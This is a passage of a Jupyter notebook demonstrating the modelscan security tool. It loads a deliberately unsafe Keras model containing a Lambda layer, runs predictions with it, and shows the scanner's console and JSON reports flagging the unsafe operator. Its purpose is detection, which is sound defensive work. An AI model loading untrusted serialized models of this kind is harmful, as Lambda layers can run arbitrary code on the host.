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",
      "text/plain": [
       "<Figure size 640x480 with 3 Axes>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "unsafe_model_loaded = tf.keras.models.load_model(unsafe_model_path)\n",
    "\n",
    "number_of_predictions = 3\n",
    "get_predictions(unsafe_model_loaded, number_of_predictions)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Scan the Unsafe Model\n",
    "\n",
    "The scan results include information on the files scanned, and any issues if found. In this case, a critical severity level issue is found in the unsafe model scanned. \n",
    "\n",
    "modelscan also outlines the found operator(s) and module(s) deemed unsafe. "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "No settings file detected at /Users/mehrinkiani/Documents/modelscan/notebooks/modelscan-settings.toml. Using defaults. \n",
      "\n",
      "Scanning /Users/mehrinkiani/Documents/modelscan/notebooks/KerasModels/unsafe_model.h5 using modelscan.scanners.H5LambdaDetectScan model scan\n",
      "\n",
      "\u001b[34m--- Summary ---\u001b[0m\n",
      "\n",
      "Total Issues: \u001b[1;36m1\u001b[0m\n",
      "\n",
      "Total Issues By Severity:\n",
      "\n",
      "    - LOW: \u001b[1;32m0\u001b[0m\n",
      "    - MEDIUM: \u001b[1;36m1\u001b[0m\n",
      "    - HIGH: \u001b[1;32m0\u001b[0m\n",
      "    - CRITICAL: \u001b[1;32m0\u001b[0m\n",
      "\n",
      "\u001b[34m--- Issues by Severity ---\u001b[0m\n",
      "\n",
      "\u001b[34m--- MEDIUM ---\u001b[0m\n",
      "\n",
      "Unsafe operator found:\n",
      "  - Severity: MEDIUM\n",
      "  - Description: Use of unsafe operator 'Lambda' from module 'Keras'\n",
      "  - Source: /Users/mehrinkiani/Documents/modelscan/notebooks/KerasModels/unsafe_model.h5\n"
     ]
    }
   ],
   "source": [
    "!modelscan -p KerasModels/unsafe_model.h5"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Reporting Format\n",
    "ModelScan can report scan results in console (default), JSON, or custom report (to be defined by user in settings-file). For mode details, please see:  ` modelscan -h` "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## JSON Report\n",
    "\n",
    "For JSON reporting: `modelscan -p ./path-to/file -r json -o output-file-name.json` \n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "No settings file detected at /Users/mehrinkiani/Documents/modelscan/notebooks/modelscan-settings.toml. Using defaults. \n",
      "\n",
      "Scanning /Users/mehrinkiani/Documents/modelscan/notebooks/KerasModels/unsafe_model.h5 using modelscan.scanners.H5LambdaDetectScan model scan\n",
      "\u001b[1m{\u001b[0m\u001b[32m\"modelscan_version\"\u001b[0m: \u001b[32m\"0.5.0\"\u001b[0m, \u001b[32m\"timestamp\"\u001b[0m: \u001b[32m\"2024-01-25T17:56:36.776966\"\u001b[0m, \n",
      "\u001b[32m\"input_path\"\u001b[0m: \n",
      "\u001b[32m\"/Users/mehrinkiani/Documents/modelscan/notebooks/KerasModels/unsafe_model.h5\"\u001b[0m, \n",
      "\u001b[32m\"total_issues\"\u001b[0m: \u001b[1;36m1\u001b[0m, \u001b[32m\"summary\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"total_issues_by_severity\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"LOW\"\u001b[0m: \u001b[1;36m0\u001b[0m, \u001b[32m\"MEDIUM\"\u001b[0m: \n",
      "\u001b[1;36m1\u001b[0m, \u001b[32m\"HIGH\"\u001b[0m: \u001b[1;36m0\u001b[0m, \u001b[32m\"CRITICAL\"\u001b[0m: \u001b[1;36m0\u001b[0m\u001b[1m}\u001b[0m\u001b[1m}\u001b[0m, \u001b[32m\"issues_by_severity\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"MEDIUM\"\u001b[0m: \u001b[1m[\u001b[0m\u001b[1m{\u001b[0m\u001b[32m\"description\"\u001b[0m:\n",
      "\u001b[32m\"Use of unsafe operator 'Lambda' from module 'Keras'\"\u001b[0m, \u001b[32m\"operator\"\u001b[0m: \u001b[32m\"Lambda\"\u001b[0m, \n",
      "\u001b[32m\"module\"\u001b[0m: \u001b[32m\"Keras\"\u001b[0m, \u001b[32m\"source\"\u001b[0m: \n",
      "\u001b[32m\"/Users/mehrinkiani/Documents/modelscan/notebooks/KerasModels/unsafe_model.h5\"\u001b[0m, \n",
      "\u001b[32m\"scanner\"\u001b[0m: \u001b[32m\"modelscan.scanners.H5LambdaDetectScan\"\u001b[0m\u001b[1m}\u001b[0m\u001b[1m]\u001b[0m\u001b[1m}\u001b[0m, \u001b[32m\"errors\"\u001b[0m: \u001b[1m[\u001b[0m\u001b[1m]\u001b[0m, \u001b[32m\"scanned\"\u001b[0m: \n",
      "\u001b[1m{\u001b[0m\u001b[32m\"total_scanned\"\u001b[0m: \u001b[1;36m1\u001b[0m, \u001b[32m\"scanned_files\"\u001b[0m: \n",
      "\u001b[1m[\u001b[0m\u001b[32m\"/Users/mehrinkiani/Documents/modelscan/notebooks/KerasModels/unsafe_model.h5\"\u001b[0m\u001b[1m]\u001b[0m\n",
      "\u001b[1m}\u001b[0m\u001b[1m}\u001b[0m\n"
     ]
    }
   ],
   "source": [
    "# This will save the scan results in file: keras-model-scan-results.json\n",
    "!modelscan --path  KerasModels/unsafe_model.h5 -r json -o keras-model-scan-results.json"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3.10.13 ('py310')",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.13"
  },
  "orig_nbformat": 4,
  "vscode": {
   "interpreter": {
    "hash": "bd638e2064d9001d4ca93bc8e56e039dad230900dd235e8a6196f1614960903a"
   }
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}